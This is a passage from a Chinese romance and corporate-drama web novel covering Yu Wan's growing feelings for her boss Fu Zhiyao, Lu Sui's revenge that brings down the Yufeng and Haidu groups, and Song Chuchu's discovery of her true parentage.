于是虞晚一邀约,傅知尧便毫不犹豫地答应,万一虞晚不适应,还能交换位置,由他开车送虞晚回家。
事实证明,是他低估了虞晚。
虞晚开车相当稳,少有急停,起步、刹车这类容易让人产生晕眩的动作也如行云流水,丝毫不会让人感觉不适。
最后,站在住宅楼楼下目送虞晚的车远去,傅知尧在心底默默给自己又加了五分。
至于如何加分,为什么加分,完全凭借傅知尧的直觉。
因为这些分数是傅知尧自封的,虞晚的心动值。
截止到今日,算上虞晚询问他为什么不握手的那十分,傅知尧预估虞晚的心动值已经到了八十九分,四舍五入,就是一百分。
今天的夜色实在是温柔,让傅知尧很想很想同虞晚再表白一次,但这个念头终究被他克制住了。
首先,心动值的评分是他自己评估的,存在着太多的私心,参考意义不大。
万一虞晚只是站在下属角度正常对待上司呢?万一虞晚只是感谢他对她的提拔和看重呢?
傅知尧不否认这些也是好感,但他不要好感,他想要虞晚的喜欢和爱。
这些奢侈的、独一无二的东西。
其次,屿风集团和陆随的事情还没有解决,傅知尧不想在这个时候将虞晚拉进漩涡,又无法装冷漠将虞晚推远,违背自己心意的后果,傅知尧已经尝过一次,同一个坑跌倒两次只能说他蠢。
因此,在车子停在虞晚公寓楼下时,傅知尧静静看了会儿虞晚的睡颜,将她叫醒。
等她意识稍稍回神,傅知尧开口:“虞晚,新贸大厦的土地使用权出让合同到手后,你们团队还要和华康那边的影视公司接洽,有关接洽和沟通的事宜我并不担心,也不会多插手,我相信你们能做好,主题乐园这个项目是持久战,不急于一时,慢慢来。”
虞晚认真点点头,“嗯,我知道。”
拿下新贸地皮只是万里长征的第一步,项目执行能否通过审批,与华纳的洽谈能否顺利推进,主题乐园建造资金是否到位,施工团队与施工年限,乐园安全措施与保障……
重大项目不能遵循走一步看一步的原则,虞晚在走第一步的时候,就要想到之后九十九步该怎么走,这样,一旦产生不符合预期要求的事项就能立马被察觉纠正。
经过这一个多月的磨合,虞晚对她和她的团队都很有信心。
傅知尧看着虞晚,继续说,“不过接下来一段时间,你可能需要暂时搬家,换个地方住。佳苑小区的安保在同类小区里算是优秀,但不够安全稳妥,陆屿森那边没拿下新贸,我担心他使阴招,主动防范总比被动承受攻击好
,如果你答应搬家,可以搬去深海湾壹号,我在那边有一套房子,距离公司只需要十五分钟车程,你平日里上下班更方便。”
傅知尧说完,像是笃定虞晚会拒绝,声音低了些,“当然,我尊重你的意见,不搬家也没关系。”
虞晚沉默两秒,“所以今天上午,跟在我和范睿茜后面的那两位便装的女士是老板你请的保镖吗?”
“是,很抱歉我没……”
“好。”
虞晚忽然张口,打断了傅知尧的道歉,傅知尧有些没反应过来:“你……你是指什么好?”
面前忽然伸来一只素净不戴任何饰品的手,傅知尧看过去,对上一双清浅的眼眸,路灯投下昏黄的光,虞晚脸庞浸润在柔和的光线中,格外温和宁静,这么近的距离,足够傅知尧将虞晚脸上每个表情纳入眼底。
虞晚:“老板,你说握手代表一种信任,那么我现在同你握手,是不是能向你表达我的信任。”
“陆随哥的身份暴露后,我想过很多种可能性,你会因为他怀疑我工作中存在窃密行为,因此辞退我,又或者,不辞退我,将我留在公司,暗中找人密切监视我,总之,不会像从前那样……”
虞晚稍稍停顿,瞳仁轻颤:“你将新贸这么重要的项目交给我,不担心我向陆随哥泄密,如果说我有因为什么而动摇,那一定是你的信任。”
傅知尧艰涩地动了动唇,心头的悸动如同潮水,一波接一波在岸上搁浅,他伸手,握住了虞晚的手。
微凉的,柔软的手,骨节处凹陷明显,握在掌心,瘦得有些可怜,让他忍不住想多握一会儿,好把自己掌心的温暖渡给她。
傅知尧微垂眼,嗓音有些淡:“虞晚,我的想法一直没有变,你没有回应也不需要不安和内疚,问题不是忽略就不存在,我等待你给出确切答案的那一刻,不过,现在能不能允许我稍微得寸进尺一会儿。”
虞晚看着仍旧被傅知尧握着的手,好奇道:“你说。”
傅知尧抬眸,定定看着虞晚,眼里浮现一丝笑意:“虞秘书,你对我心动了吧?”
十五分钟后,傅知尧被小程司机接走,虞晚上楼回家。
关上门,虞晚缓了将近五分钟才动身洗漱,洗完澡,吹干头发,虞晚走到卧室窗前。
卧室阳台上有根单独的晾衣杆,上面此刻只挂了一根银色衣架,衣架下方用夹子倒挂着六枝颜色、形状各异的鲜花,有些已经晒干,颜色褪去了些许,有些还是半干,花瓣正在脱水皱缩。
这些都是从傅知尧送她的花束里取出来的。
傅知尧送她第一束花时,虞晚解读为对前段时间冷漠的道歉,傅知尧送她第二束花时,虞晚解读为交给她新贸项目的看好,傅知尧送她第三束花时,虞晚没办法再欺骗自己。
傅知尧喜欢她。
其实傅知尧早就告白过不是吗。
那天雨夜,傅知尧拉住她,亲口说了喜欢。
只是虞晚向来不是听人说什么就是什么的人,所以,傅知尧坚持一周送一束花的时候,虞晚又开始害怕起来。
害怕傅知尧送花的行为无法长久坚持;害怕傅知尧的告白只是一时头脑发热;害怕在一起后傅知尧会嫌弃她和他之间身份地位差距太大;害怕她不给予回应,他会产生诋毁或者愤怒的情绪。
这种害怕在繁忙的工作中只占到了很小一部分,但每次想到都会刺痛虞晚一下。
可今天,傅知尧的回答,让她更坚定自己的想法。
等到新贸项目结束,等到她可以骄傲自豪地告诉别人:“没错新贸项目是我带领团队完成的,这是我的名片,以后合作请多多关照。”
等到这种时候,她会主动站到傅知尧面前,询问他之前的告白是不是还作数。
至于现在?
虞晚需要考虑的是周末搬家,她要将哪些必需品整理好带去新家。
被跟踪的事情虞晚隐隐有所察觉,但她上下班行动路线单一,几乎不会绕路去其他地方停留,加上有车,可以直接驶入小区,虞晚只在乘坐电梯时疑神疑鬼地捏紧了包包里的辣椒水,回到家后第一时间检查监控,确认没人在门口逗留才安心。
因为提心吊胆过一段时间,傅知尧说出搬家地点时,虞晚才会同意。
虞晚相信陆随和傅知尧,傅知尧说的搬家,陆随前几天也提过,但当时新贸地皮还不确定花落谁家,虞晚告知陆随真实想法后并未着急找房子,现在有傅知尧帮忙,情况特殊,虞晚不会装矜持问是不是不太好。
至于佳苑小区这套房子,虞晚不打算退租,等陆屿森那边的事情解决完她再搬回来。
她总不能仗着傅知尧对她好就理所当然。
不过,让她有些不明白的是,傅知尧最后说的那句话。
他问她,如果在某个地方欺骗了她,会不会得到她的谅解。
虞晚当时没回答。
傅知尧会在什么地方欺骗她,能在什么地方欺骗她。
总不能,他说喜欢是假的吧。
第83章
陆随答应一周内解决Cekai的事情并不是吹牛,和陆屿森聊完的第二天,陆随便返回了屿风集团。
自然也从公司的人事变动看出了陆屿森极具个人倾向的处理方式。
谁反对就开除谁,简单粗暴,的确帮助陆屿森稳固了说一不二的行事风格,令公司内其他人畏惧。
但很可惜,公司不是学校,开除只会让人闭嘴,不会让人信服,时间久了,公司员工精神长期处于高压状态,即便工作也不会尽心尽力。
陆随能理解陆屿森掌握实权后的所作所为,但过犹不及,尤其是在陆屿森尚未俘获人心的情况下。
言语和善地打发走找他来诉苦的第二波人,陆随收敛起面上的表情,联系公关部和市场部召开紧急会议,针对舆论情况进行分析讨论。
产品问题年年有,每家企业都逃不过,一个产品从设计到生产到上市,过程中需要衔接、沟通的环节多而杂,抽检顶多检查出这批产品的合格率,无法百分百保证。
再者,即便产品合格率百分百,也会因为使用者操作不恰当而产生意外,于是就有了各种说明书以及免责声明。
本次Cekai事件中,客服的做法一定是错的吗?
也不,在不知道是锂电池出问题的前提下,客服拒绝赔偿,一直反复询问对方是否有按照说明书操作是遵守上岗前公司培训的结果,从规则上来讲,客服没有做错。
错就错在事情闹大后,公司为了消除舆论的负面影响选择开除客服,没有从根源上解决问题。
群众要的是企业表达出解决问题不回避问题的态度,好保障自己在遇到同样的事情后能够被重视,而不是糊弄或者发个不痛不痒的声明表达歉意。
因此,陆随要求公关部立即用官方账号发布有关小男孩烧伤事件后续,小男孩已经接受了手术,目前一切顺利。
要求市场部有条不紊收回先前有问题的产品,过程中产生的费用皆由公司承担,稳定消费者的内心,传达出负责人的企业形象。
同时找一些有影响力的媒体帮忙转发解释,本次事件中,屿风集团隐形受害者的角色——
出问题的是外包的锂电池电芯,不是屿风;屿风虽然是受害者,但一直在积极补救,诚信负责是屿风集团这个国产品牌坚守的底线。
短短三天内就扭转了Cekai品牌的口碑。
【虽然有些不满屿风最开始的态度,但是屿风大概也没想到是外包的电芯出了问题,这波屿风属实被冤枉了】
【震惊,我有个三年前买的智能手表,已经被我淘汰给我爸用了,刚去问西卡客服能不能退,对方说可以,邮费他们出!】
【算了算了,再给国货一次机会吧……】
【我们这边西卡智能手表专卖店最近几天一直在处理退货事宜,现场还有免费的小礼物表达歉意,工作人员态度也很好,表扬,继续坚持吧,毕竟买了你家这么多的电子产品,要是再塌房,我都没地方哭去】
【呵呵,大家就是这样无条件纵容国货产品越来越垃圾的,为什么电芯出了问题最开始没有察觉,非要等事情闹出来才知道补救,公司质检部是吃干饭的吗?】
评论里偶尔夹杂着一两个不太和谐的身影,但相比上一周官网评论沦陷,线上店铺被恶意刷差评的情况,整体口碑和局势已经得到了控制。
陆屿森坐在老板椅上,看着电脑上助理胡谦整理的资料,心情由阴转多云。
要不说陆随有脑子呢,知道怎么卖可怜,知道怎么博观众好感,做澄清、卖情怀、表歉意一套接着一套,观众三两下就晕了,事情轻飘飘带过。
全国这么多人,真的能将西卡售出的每个产品都收回吗?
当然不可能。
因此收回产品的损失尚在可控范围内,陆屿森咬咬牙也就接受了,能重新挽回屿风集团在群众中的企业形象才是目的。
只不过,
陆屿森没料到陆随在解决完Cekai的舆论问题后还有第二步计划。
陆屿森盯着陆随发来的文件,下意识皱了皱眉。
文件封面赫然写着几个字:收购泰安能源计划书
像是怕他不懂泰安能源,陆随专门附上了对泰安能源集团现有情况的说明。
作为曾经的电芯品牌行业佼佼者,泰安能源依托超薄、久续航动能技术,主打储能动力电池,自产品推出起便备受瞩目,销售范围从国内拓展到国外,美洲地区和欧洲地区增速显著,成了名副其实走出去的大品牌。
最近几年,因为产品相较单一,利润率逐渐下降,泰安能源一直在寻找积极的解救办法,往汽车行业布局半固态电池,往工业布局高性价比储能电芯,高端、低端行业都掺和了一把,公司发展重点不明确,出现了明显的管理混乱问题,加上公司几位大股东出走,泰安能源似乎成了一滩谁都不想动的烂泥。
陆随集中说明了收购的必要性和关键利益点。
泰安手中的技术和技术人才,有利于屿风弥补在研发上的不足。
陆随言之有理,言之有物,陆屿森直接略过陆随在文件中提到的收购后的内部调整策略,直接看51%以上股权的收购估值——143亿。
陆屿森陷入沉默,指节在桌面上轻轻敲打,面上表情阴冷,不知过了多久,终于抬头看向侧方站着的胡谦。
“你觉得陆决风这是安的什么心?”
回公司这几天,陆随一直在忙碌处理Cekai舆论的事情,居然有时间整理出收购的资料,效率之高让陆屿森敬佩。
收购泰安能源一方面是作为对Cekai事件的补充,引导后续舆论关注收购事宜,表达屿风集团走自主研发生产道路的决心,继续挽回在群众中的形象。
另一方面,则是从屿风集团角度出发,Cekai事件中,出问题的主要原因就是电芯外包,外包企业偷工减料,使用不合格材料,最终让屿风遭殃,如果能有自己的独立电芯生产线,就不必在后续发展中受人限制。
的确是个双赢的买卖。
但,全是好处,没有坏处,不由得让陆屿森怀疑起陆随的目的。
胡谦恭敬立在一旁,避重就轻:“如果屿风发展不好,他也得不到什么好处。”
陆屿森笑起来,只是笑意不达眼底:“你倒是提醒我了,5%的股份我还没有转给我的好弟弟,让司机准备一下,待会儿回一趟老宅。”
他可不准备从他自己手里扣出股份给陆随,如果能从老头子那边拿到股份,即便是5%分给陆随,又有何妨,总归不会损害他自己的利益。
胡谦点头:“好的陆总。”
陆屿森十分满意胡谦作为他助理的表现,意有所指:“放心,老员工都该有股份分红的,少不了你的,好好干就是。”
胡谦默不作声,等到上了车,给陆随发去消息,提醒他陆屿森要去老宅。
至于去老宅做什么,自然是找医生看看老头子还能活多久。
陆随在陆宗信饮食中动的手脚他不是不知道,但他对老头子没多少感情,他母亲因抑郁去世时,老头子正在情人家里过夜,闻言只说了一句话:“那就好好办葬礼。”
陆屿森对陆宗信的孝敬完全是看在陆宗信财产的份上。
但看到陆宗信只能卧床扯着铃铛发出一连串不成字的语调时,陆屿森还是有几分不忍心,将家里厨师换了一波,找来最好的医生为他治疗。
只可惜陆宗信太老了,七十二岁的年纪,有钱之后拼命挥霍身体,把自己的健康压榨到极致,身体不好,孩子都没几个,就连他都是试管生出来的孩子,为此折磨了母亲不下五年才终于怀上他。
这种情况下,曾文芝还甘愿顶着二十五岁的年龄差嫁给老头子,除了图钱财,陆屿森想不出什么别的。
进了别墅,佣人齐齐靠墙站,低头朝他问好,陆屿森掠过这群人,直接走进陆宗信的房间。
陆宗信和曾文芝早在两年前就分房睡了,因为身体不好又不愿意在医院躺着,陆宗信的房间被布置成了类似病房的房间,装饰家居寥寥无几,唯一一盆绿植死气沉沉地待在窗户上。
陆屿森朝身后佣人示意:“绿植换盆新的,再让我看到这种,你就别在这里干了。”
“是……是!”
佣人轻手轻脚走上前将绿植撤出房间,此刻病房内只剩下他、医生和陆宗信。
对上陆屿森的视线,医生沉默了片刻,将这段时间的检查结果清楚完整地说明,最后道:“陆老先生的身体已经不适合再手术,即便是特效药也顶多是治标不治本,只会加速内脏的衰竭,得不偿失,如果可以,还是建议陆先生您多陪陪陆老先生……”
医生话说的很委婉,陆屿森抬手打断了对方,他只需要知道一件事:“还能活多久?”
医生擦了擦额头上的汗,小心翼翼开口:“三个月就已经是极限了。”
“行,你出去吧,我要单独和我爸聊聊。”
“好,陆先生,有问题按床边的铃,我马上就到。”
陆屿森没有坐下,俯视着躺着床上生气全无的陆宗信,头发花白,皮肤干瘪松弛,额头眼尾褶皱如同枯树的外皮,夹杂着暗褐色的老年斑,令人看一眼都生厌。
不知是不是陆屿森的视线太强烈,躺在床上的陆宗信眼皮颤了颤,缓缓睁开,看清楚眼前的人是谁,一旁检测仪清楚显示陆宗信攀升的心率。
陆宗信张了张嘴,还没开口,就听到陆屿森的声音:“我听律师说你已经定好了遗嘱?”
陆宗信眼神瞬间转变,即便耷拉着,仍旧能看出他的骇异和愠怒。
陆屿森像是没察觉一般,伸手给陆宗信扯了扯被角,“陆随回公司任职了,他要求我给他5%的股份,我答应了,毕竟你也知道,你儿子不是个经商的料,可是呢,我不是很想给,所以……”
陆宗信只觉得气血上涌,愤怒值到达顶峰,他艰难挪动手,抓起床边喝水的杯子,朝陆屿森扔过去。
砰的一声,杯子四分五裂。
第84章
虞晚搬家后的第二个周日,从手机上看到屿风集团联合海度集团收购泰安能源的新闻。
官方说法是因为Cekai的电芯事故,让屿风坚定走自主研发道路,坚持为消费者带来更好的产品。
媒体对此番收购泰安多有赞誉,言辞之间皆是对屿风的看好,一时间,屿风集团风头无两。
虞晚敏锐从字里行间看出点不对劲。
跟在傅知尧身后那段时间,虞晚见过不少客户,也同不
少公司老总谈过合作,但泰安一直没有出现在傅氏的合作名单上。
在泰安的高能效储蓄电池推出时,虞晚因为旗下安速电能源车了解过泰安的电芯产品实力,以为傅知尧会同泰安合作。
发现傅知尧宁愿耗费时间和金钱等公司研究人员将新型号电芯产品研究出来也没有选择泰安。
虞晚感到好奇,询问傅知尧原因,傅知尧没明说,反而让她去看泰安内部的人员组织架构,给他写篇分析论文。
虞晚当时表情一言难尽,只能硬着头皮应下,为此买了好几本和经济学有关的书籍,埋头钻研了半个月才将那篇写得乱七八糟的论文交给傅知尧。
她至今还记得傅知尧的神色,傅知尧手里捏着她写的小论文,冷笑一声,毫不留情:“虞秘书,你本科毕业论文怎么过的?”
虞晚:“……”
不过,傅知尧也仅仅是不满意虞晚的论文形式以及论证内容,但对虞晚列举的泰安现状和发展隐患表达了认可,顺带给她补充了几点。
泰安早些年是国企,后来顺应改革开放变成私企,因为结构更改问题,管理层内部分化严重,谁也不服谁,闹出过不同意合作事宜一方将公章偷出来带走的事情,一度被群嘲,又因为过硬的产品实力持续活跃在市场上。
如今,屿风联合海度收购泰安能源的消息一出,虞晚心底隐隐察觉不对劲,又想不出来为什么。
点开新闻图片,陆屿森站在几位高管正中央,西装笔挺,神色昂扬,而角落里,陆随一身利落的西装,气质清矜出众。
为了避嫌,陆随只在半个月前同她见过一面。
见面后,陆随没有多寒暄,直白地让她这段时间都不要再联系他,虞晚趁机询问陆随的打算,问他有没有自己能帮得上忙的地方,也被他糊弄过去。
陆随看着她,眉宇淡然,嗓音温和,他说:“虞晚,如果你相信我,就按照我说的做,等事情结束,我会全部向你解释清楚,陆家的事情很好解决,我不会有任何危险,从七年前开始,陆家就一直在走下坡路,现在就像是一栋摇摇晃晃的建筑,只需要人轻轻一推,便会全部崩塌。”
虞晚知道她无法劝说陆随。
陆随想要报复,这是他忍耐了将近十八年的报复,虞晚不能高高在上地说陆随太计较,应该放下仇恨,如果这是陆随的心结,他必须铲除才能结疤,那么虞晚她希望陆随能成功,最重要的是……平安。
虞晚说:“陆随哥,我相信你,你一定要按时吃药,等事情结束你就来找我,我有存款,可以租个还算不错的房子,我还有奖金,养你一年没问题。”
陆随始终微笑,唇角弧度浅:“太好了,终于要实现我们小时候的梦想了。”
有大大的房子,有热腾腾的饭菜和温暖的床铺。
“虞晚,谢谢你。”
陆随最后一句话是这样说的。
想起那天的谈话,虞晚抿了抿唇,莫名有些不安。
这种不安在一星期后再次看到新闻时成了现实——
屿风集团旗下东信保险公司财务报表被爆作假,被一家国外知名做空机构举报,在即将上市之际被证监会强制停牌,从纳斯达克退市!
紧接着美股投资者联合起来,在国内正式起诉东信通过虚构业务额外增加交易额22.37亿元,彻底坐实东信财务造假的事实。
从周一开始,东信的股价一路下跌,周五收盘时,东信的股价跌至3.41美元,无数股民将股份当烫手山芋般抛出去。
东信股票的下降直接牵连到屿风集团,原定和泰安能源的股权转让也因为泰安能源发出的《解除协议告知》而被单方面终止,其理由则是屿风集团财务造假带来的负面影响。
但此时,海度集团已经按照协议约定将股权转让款支付,泰安那边单方面违约,再次引入了第三方辉阳集团进行收购。
到这个时候,屿风内部已经彻底乱成一锅粥,而海度,无疑是收购案件中最大的受害者。
啪!
“我当初怎么说的?我说了陆决风不是个好种,你和宋楚楚死劲儿扒着人家不放,楚楚倒贴多年得到了什么?!现在你看看,公司账面上流动资金还剩下多少?你是要让我们海度给屿风陪葬!”
于荷雅脸上立时浮现一道红印,她没有捂,冷冷看向宋正雄。
“是我逼着你在合同上签字的吗?转账的审批是我通过的吗?”于荷雅抓住一旁椅子扶手,话语咄咄逼人,语气却格外平静:“是你自己贪图收购后的利益,是你自以为能靠屿风翻盘,利欲熏心、唯利是图的人是你,我不过是想为楚楚筹谋一个好的未来,否则要等你那个私生子成长多少年才能扛起公司,你不为楚楚着想,我会。”
于荷雅养了宋楚楚二十三年,没有人比她更爱楚楚,她将她全部的心血,全部的精力用在楚楚身上,她这辈子都不可能再在另一个人身上投注这么多的时间,包括她的亲生女儿虞晚。
想到那个孩子的优秀,于荷雅心中无故升起一抹痛,她咬紧牙关,克制情绪的外泄。
于荷雅:“这些年海度发展本就是强弩之末,如果不是屿风,海度处境比现在还差,不过是上市失败而已,只要陆决风肯,屿风就绝对不会倒下,我会去求他帮忙,至于那个私生子,他就只能是个私生子!”
“你疯了是不是?!别以为我不知道你在针对美茹她们母子,你当好你的董事长夫人就行了!别忘了当初你和我的约定,你能有现在,都是因为当初我的心软……”
之后的话,宋楚楚没有听,她捂着嘴回到自己房间,往脸上一抹,满掌心的泪水。
家里公司出问题了。
宋楚楚脑海中只有这一个念头。
她从小生活在这个圈子里,公司出问题意味着什么她不是不知道,轻则整改,缩小规模,勉强维持奢侈体面的生活,重则破产清算,即便有财产也只能畏手畏脚生活,成为上流圈子里的饭后闲谈……
宋楚楚擦了擦眼泪,努力在脑海里想办法,最终选择给陆决风打电话。
决风哥那么厉害,一定有办法解决问题的,而且是泰安能源违约在先,他们海度能不能通过同样违约的方式,将支付的股权转让款要回来呢?
电话嘟嘟响了半分钟后自动挂断,决风哥没有接她的电话。
宋楚楚不死心继续打,直到连续打了二十个电话,对面还是无人接听的状态。
像是终于意识到什么,宋楚楚用力将手机摔在地上,无助地哭了起来,哭着哭着,眼泪流干,情绪如同骤然干枯的海。
宋楚楚重新抓起手机,给陆屿森打去电话。
她咬紧唇,直到唇色泛白,终于,电话那边传来接通的声音。
“陆屿森!到底是怎么回事!决风哥呢,他为什么不接我电话,你对他做了什么?”
分明陆决风已经退出屿风集团的管理,前段时间又悄无声息出现在公司,替屿风摆平了Cekai的舆论,联合海度一起收购泰安必然也是决风哥的主意,但谁也不会料到屿风旗下的东信保险闹出财务造假这事。
东信保险公司是挂在陆屿森名下的公司,陆屿森之所以能在屿风有一席之地,正是通过控股东信,间接控股屿风,成为除陆宗信和另一位董事会成员外的第三大股东。
东信财务造假,用脚趾头想都知道是陆屿森的过错。
决风哥却莫名成了那个背锅的人,加上打不通陆决风电话带来的失落和愤怒,让宋楚楚失去理智般对着电话那头的陆屿森口不择言,一会儿说到陆决风不接电话,一会儿说到于荷雅和宋正雄的争吵,一会儿忧心公司倒闭她该何去何从,最后扯到私生子。
总之,将一切过错全部推到陆屿森身上,好似这样,心底挤压的情绪就能全部释放。
陆屿森听得烦了,连最后一点体面都懒得维护,他正因为财务造假的事情焦头烂额,索性将上回调查到的事情捅出来,给宋楚楚找点事情做。
陆屿森语气不耐,隐隐含着点咬牙切齿:“行了,宋楚楚,我没空陪你闹,你找于荷雅发泄去,不是亲妈胜似亲妈,你和那个私生子没什么太大区别,你该庆幸你是个走运的私生子,否则,你也没资格和我说话。”
走运的,私生子。
宋楚楚敏锐地抓住了这个字眼,嗓子因为长时间未喝水干哑,发出刺耳的声音:“你说我是私生子?我妈妈照顾了我二十三年,她是宋正雄第二任妻子没错,但她不是小三,我也不是私生子!”
陆屿森冷笑,“还没听明白吗?于荷雅不是你亲妈,于荷雅是虞晚的亲妈,用你核桃大小的脑子思考思考,别再烦我,你们宋家就算倒闭也和屿风没半点关系。”
一句话,将宋楚楚重锤在地。
第85章
宋楚楚愣愣看着被挂断的碎屏手机,脑子里混乱到只剩一句话。
她不是于荷雅的孩子,虞晚才是于荷雅的孩子。
虞晚为什么会和于荷雅扯上关系,虞晚不是孤儿院
长大的吗?虞晚不是没实力没背景的一个普通人吗?
宋楚楚精神恍惚,下意识按开手机,想要询问陆屿森是不是在骗她,但被摔的手机在此时玩起了罢工,怎么点都没有反应。
她要修好手机,要给陆屿森打电话,问清到底是怎么回事。
宋楚楚抓着手机跌跌撞撞出门,心底只有这一个念头。
于荷雅或许还在书房和宋正雄争吵,走廊静悄悄的,整个别墅彷佛空无一人,宋楚楚脚步虚浮,没注意踩空阶梯,身体猛地下坠,朝楼梯下方滚落。
失去意识前,只听见于荷雅的一声惊呼:“楚楚——!”
宋楚楚做了个无比真实的梦。
梦里,她是一本小说中的女主,本着锻炼自己的目的进入男主公司实习,意外和男主共度一晚,因为不敢面对男主,隔天就辞职去国外进修学习,孩子五个月时她才发现,不得已偷偷生下,五年后带着孩子回国,接手家里生意每况愈下的公司,重新和男主产生交集,两人感情在孩子的助力下逐渐升温,她知道了男主封存的悲痛过往,原来男主父母去世和她的父亲也有关系,两人关系冷凝,之后,经历一系列的波折和误会,终于走到起。
而那位男主,正是她第一次实习公司的总裁,傅知尧。
梦里的一切细致到彷佛真实发生过,她的长相,家庭背景,成长经历,等等……
她还记得最后一个画面,她穿着洁白的婚纱一步步走向对面那个英俊高大,看不清人脸的男人。
但如果代入傅知尧,她愿意吗?
宋楚楚猛然从梦中惊醒。
床边守护她的于荷雅立马察觉,站起身,抚摸着她的脑袋,声音沙哑像是哭过许久,动作格外温柔,眼眸间皆是温柔,“楚楚,你醒了?头还晕不晕,医生马上来。”
宋楚楚看着于荷雅,眼珠一动不动。
如果是之前,宋楚楚会很感动,她小时候每次生病都是于荷雅陪在自己身边,但现在,宋楚楚心中只剩恶心。
如果梦里都是真的,就对上了陆屿森说的话。
于荷雅并不是她的亲生母亲。
多可笑啊,在做这个梦之前,宋楚楚还在劝说自己不要相信陆屿森的话,她不可能因为陆屿森几句话就放弃和于荷雅将近二十三年的关系。
但现在,她知道于荷雅隐瞒了自己母亲去世的真相,知道于荷雅为了董事长夫人的头衔抛弃自己亲生女儿虞晚。
于荷雅分明是个享用了她母亲权力和利益的盗窃者!
她根本就不配当一个母亲。
宋楚楚在心底狠狠唾弃于荷雅。
医生赶来,为宋楚楚细致检查一番,没什么大问题,只有额头和手肘等关节处有撞伤,休息半个月就能完全康复。
从医生口中宋楚楚得知自己昏厥了整整五天。
等医生离开,宋楚楚闭着眼不愿睁开,她不知道该怎么面对于荷雅。
于荷雅没多想,她只以为宋楚楚刚醒,太累不愿意动,她轻手轻脚挪动椅子,在床边坐下。
片刻,于荷雅开口:“楚楚,海度已经彻底垮了,等你身上的伤稍微好一些,妈妈就立刻送你出国,你不是想去国外学设计吗?妈妈支持你,你在国外也要好好生活,到时候我会给你一个账户,里面的钱足够你富足生活半辈子,国内这边,……你就别再管了,好好在国外生活,遇到什么麻烦给妈妈打电话……”
宋楚楚听到这里,缓缓睁开眼。
五天时间,一切尘埃落定。
屿风集团成为谁都不愿意碰的烂泥:曾文芝被指控滥用职权操控股东大会决策,非法侵占公司资产,那个中途插入泰安能源收购的辉阳公司正是曾文芝独立控股的公司;陆宗信早在签下股权转让协议时就已经失去了实权,只能躺在床上发出无能的呜咽声;陆屿森这个看似手握股权的赢家,等待他的是管理混乱的公司,财务造假的高额赔款,众人彷佛已经看到了屿风集团走下坡路的命运。
至于海度,这几天宋正雄除了忙着转移财产,便是寻求愿意收购海度的公司,他要将曾经一手创立起来的公司贱卖,好挽回最后一点损失。
于荷雅说这些话时语气十分平静。
她认真想过了,公司已经到这个地步,没什么好拯救的,将楚楚送去国外她就能专心和宋正雄谈谈离岸公司里那些转移的财产分配问题。
“等国内事情处理好,我就去国外找你,陪着你照顾你,在这之前,楚楚,你就只能先靠自己了。”
于荷雅想起这段时间发生的事情,太阳穴传来一阵刺痛,她不想在楚楚面前说太多,怕楚楚难过,楚楚还小,不该经历这些。
而宋楚楚在想些什么。
她脑子里都是梦中自己的幸福生活,和现在截然不同,梦里的她光鲜亮丽,走到哪里都有人追捧,有可爱的孩子,有位高权重长相过人的丈夫,她自己也事业有成,是网友口中的人生赢家。
为什么现在会变成这样?
宋楚楚内心涌出强烈的不甘心和怨恨,本应属于她的秘书职位,本应属于她的傅知尧,本应属于她的人生,全部都被虞晚这个贱人给抢走,她自以为有着多年情谊的竹马,至今仍惦记着虞晚,她自以为永远只爱着她一人的妈妈也是虞晚的亲生母亲。
命运的天秤彷佛朝着虞晚倾斜,她得到了所有,而她失去了所有。
分明她才是女主,为什么会落到这个下场?
病房内的电视屏幕无声播放着午时新闻,发布会现场,华康影视公司和傅氏正式签约,宣布国内第一座大型主题IP公园落地海市,估值将近五百亿的项目引起业内瞩目。
画面中,虞晚站在傅知尧旁边,穿着小高跟,将将用脑袋顶碰到傅知尧下巴的位置,气场澹和,妆容得体大方,丝毫不输傅知尧。
如此郎才女貌的画面,深深刺痛宋楚楚的眼。
恍惚中,宋楚楚想通了一个她刚没来得及思考的问题——
如果说这真的是小说世界,她作为女主,现在失去所有,可能知晓剧情并做出改变的只有一个人。
那就是得到所有实际利益的虞晚!
是她改变了小说剧情,抢走了属于她的幸福人生!
于荷雅见她睁开眼,以为她想喝水,细心调整床位高度,端来温水让宋楚楚喝,被宋楚楚一把打翻在地。
宋楚楚恨恨盯着于荷雅,嗓音彷佛被砂纸打磨过,沙哑无比,带着排斥和愤懑,朝她吼道:“我不是你女儿,别在我面前装模作样,去找虞晚,找你真正的女儿!我不是你女儿!”
她不稀罕于荷雅这样廉价的爱。
一个关心的目光,一句肯定的言语,这就是爱了吗?
如果真的爱她,现在守在病床前
的人就该是陆决风,如果真的爱她,她应该早早和陆决风结了婚,拥有属于自己的美满家庭,如果真的爱她,就不该说让她去国外进修这种鬼话。
宋楚楚要钱,要爱,要她的女主角人生!
冬日阳光从窗户透进来,却不能带来丝毫暖意,宋楚楚迎着阳光落下的方向,同于荷雅对视。
于荷雅愣愣看着宋楚楚,看清她脸上每一个表情,疏离、冷漠,像是把尖锐的刀,刺伤她的心,刺穿她伪装的假象。
她攥紧手,身子颤抖,竭力维持平静。
“楚楚,你在说什么呢,你就是我的女儿啊。”
她养育二十三年,再也不会有第二个的女儿-
下班后,虞晚开车从公司离开,路上时不时看向手机。
屿风集团濒临倒塌的边缘,陆随迟迟没有露面,虞晚心中像是悬着一块巨石,拽着她的心不肯落地。
陆家的人,从陆宗信、陆屿森,到陆屿森的继母曾文芝都已经得到该有的报应,她不知道此刻陆随的心情是如何,但盼望着他能回复消息。
车子驶入深海湾壹号住宅区内,虞晚手机屏幕亮了,她收到陆随迟来的报平安。
陆随哥:【虞晚,我现在不在海市,这个联系方式接下来也不会用,你把聊天信息以及联系方式全部删除,别再发消息,等我回海市,会有人告知你的。】
虞晚顾不得那么多,临时在花坛边停车,给陆随发消息。
虞晚:【那你现在在哪里?能不能给我一个地址,我很担心。】
陆随哥:【我很安全,别为我担心,还记得向凌吗,有他帮助我。】
虞晚记得向凌,是当初给她找到佳苑小区房子的‘中介’,后来陆随向她解释时,她才知道他是乐居房产公司的小儿子。
难怪能给她找到那么符合她心意的房子。
虞晚眉头微蹙,继续打字:【陆随哥,你打算什么时候回海市?】
让她不必联系他,也不告知她住在哪里,总不能不回海市吧。
陆随哥:【新年后,明年二月份。】
得到陆随回海市的确切时间,虞晚松口气。
虞晚:【好,我知道了,我会把我们之间联系信息都删掉,你回海市记得联系我。】
陆随哥:【好。】
陆随哥:【虞晚,谢谢你,照顾好自己,去心爱看孩子们时记得替我问林妈妈好。】
虞晚想也不想答应下来:【当然会,小朋友们还指望你下回去陪他们打球呢。】
陆随哥:【再见。】
虞晚回:【再见。】
